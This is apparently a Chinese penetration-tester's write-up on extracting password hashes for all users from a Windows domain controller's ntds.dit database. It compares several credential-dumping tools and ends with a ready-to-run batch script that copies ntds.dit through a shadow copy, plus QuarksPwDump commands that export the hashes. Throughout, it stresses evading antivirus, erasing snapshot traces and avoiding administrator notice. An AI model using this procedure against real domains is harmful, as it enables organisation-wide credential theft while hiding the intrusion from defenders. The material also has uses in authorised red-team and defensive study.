0x00目標:
導出當前域內所有用戶的hash
0x01測試環境:
域控:server2008 r2
殺毒軟件:已安裝*
域控權限:可使用net use遠程登陸,不使用3389
0x02測試方法:
(1)mimikatz:
hash數量:只能抓取登陸過的用戶hash,無法抓取所有用戶
免殺:需要免殺
(2)pwdump:
hash數量:無法抓取所有用戶
免殺:需要免殺
(3)vssown.vbs + libesedb + NtdsXtract
hash數量:所有用戶
免殺:不需要
優點:
獲得信息很全面,可獲得以下信息:
Record ID
User name
User principal name
SAM Account name
SAM Account type
GUID
SID
When created
When changed
Account expires
Password last set
Last logon
Last logon timestamp
Bad password time
Logon count
Bad password count
User Account Control
Ancestors
Password hashes
Password history
Supplemental credentials
Member of
缺點:
vssown.vbs使用后需要刪除快照清理痕跡
vssown.vbs偶爾會報錯
數據庫巨大,下載回本地很麻煩
libesedb + NtdsXtract環境搭建麻煩,目前網上中文的教程存在一些錯誤,下載鏈接也已失效,需要自行摸索
用vssown.vbs復制出來的ntds.dit數據庫無法使用QuarksPwDump.exe讀取
Tips:
libesedb + NtdsXtract環境搭建的一點提示:
(download libesedb)
https://github.com/libyal/libesedb/releases/download/20150409/libesedb-experimental-20150409.tar.gz
tar zxvf libesedb-experimental-20150409.tar.gz
cd libesedb-20150409
./configure
make
cd esedbtools/
./esedbexport
(copy ntds.dit to ~/libesedb-20150409/esedbtools)
./esedbexport ./ntds.dit
(wait...)
mv ntds.dit.export/ ../../
(download ntdsxtract)
http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
unzip ntdsxtract_v1_0.zip
cd NTDSXtract 1.0/
(move SYSTEM to '/root/SYSTEM')
(get passwordhashes )
python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'
(4)ntdsutil.exe + QuarksPwDump.exe
hash數量:所有用戶
免殺:QuarksPwDump.exe需要免殺
優點:
獲得信息很全面 QuarksPwDump.exe可在windows下使用,讀取hash值的操作簡便快捷
缺點:
ntdsutil.exe使用后需要刪除快照清理痕跡 ntdsutil.exe偶爾會報錯 巨大的數據庫,QuarksPwDump.exe讀取偶爾會報錯 server2003的shell下無法使用
0x03實際測試:
-
gethashes.exe:沒有源碼,忽略
-
mimikatz:無法抓出所有用戶hash,本機管理員口令也無法導出
-
pwdump:抓取數量不足
-
vssown.vbs + libesedb + NtdsXtract:成功,耗時3天+
-
ntdsutil.exe + QuarksPwDump.exe:ntdsutil.exe報錯,失敗
0x04分析:
5種方法唯一成功的是vssown.vbs + libesedb + NtdsXtract,但是耗時太久,操作麻煩,下載數據庫容易暴露,vssown.vbs備份的信息容易被管理員發現
其他方法中可取的地方:vssown.vbs復制數據庫的方法很是巧妙,但存在一些不足,配合域控的at命令執行較為麻煩;QuarksPwDump.exe可在windows下直接使用,免去讀取數據庫的等待,並且QuarksPwDump可獲得源碼,能夠配合實際使用做修改。
那么大膽設想一下:如果使用QuarksPwDump.exe在域控上直接讀取ntds.dit豈不是最好
0x05改進:
(1)分析vssown.vbs的復制辦法,找到一種更好的解決辦法,改用ShadowCopy實現ntds.dit的復制 (2)對QuarksPwDump的改造,實現命令行下的自動讀取及導出信息
Tips:
ShadowCopy 是一款增強型的免費文件復制工具,由於使用了微軟卷影副本(`Volume Shadow Copy`)技術,它能夠復制被鎖定的文件或者被其他程序打開的文件,
因此只要是硬盤的上的文件,即使正被程序占用,`ShadowCopy` 都可以拷貝出來。
0x06最終方案:
(1)使用ShadowCopy的命令行版,編寫bat實現拷貝ntds.dit至當前目錄
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vsshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
參考鏈接: http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx
(2)使用QuarksPwDump直接讀取信息並將結果導出至文件,先執行
esentutl /p /o ntds.dit
修復復制出來的數據庫
QuarksPwDump.exe -dhb -hist -nt ntds.dit -o log.txt
讀取並導出。
注:實際使用時ntds.dit和log.txt需要加絕對路徑
Tips:
QuarksPwDump.exe:Dump various types of Windows credentials without injecting in any process.
源碼下載鏈接,vs2010直接編譯即可
https://github.com/quarkslab/quarkspwdump
0x07小結:
ShadowCopy+QuarksPwDump:
hash數量:所有用戶
免殺:不需要
優點:
獲得信息全面
bat一鍵搞定,簡單高效
無需下載ntds.dit,隱蔽性高
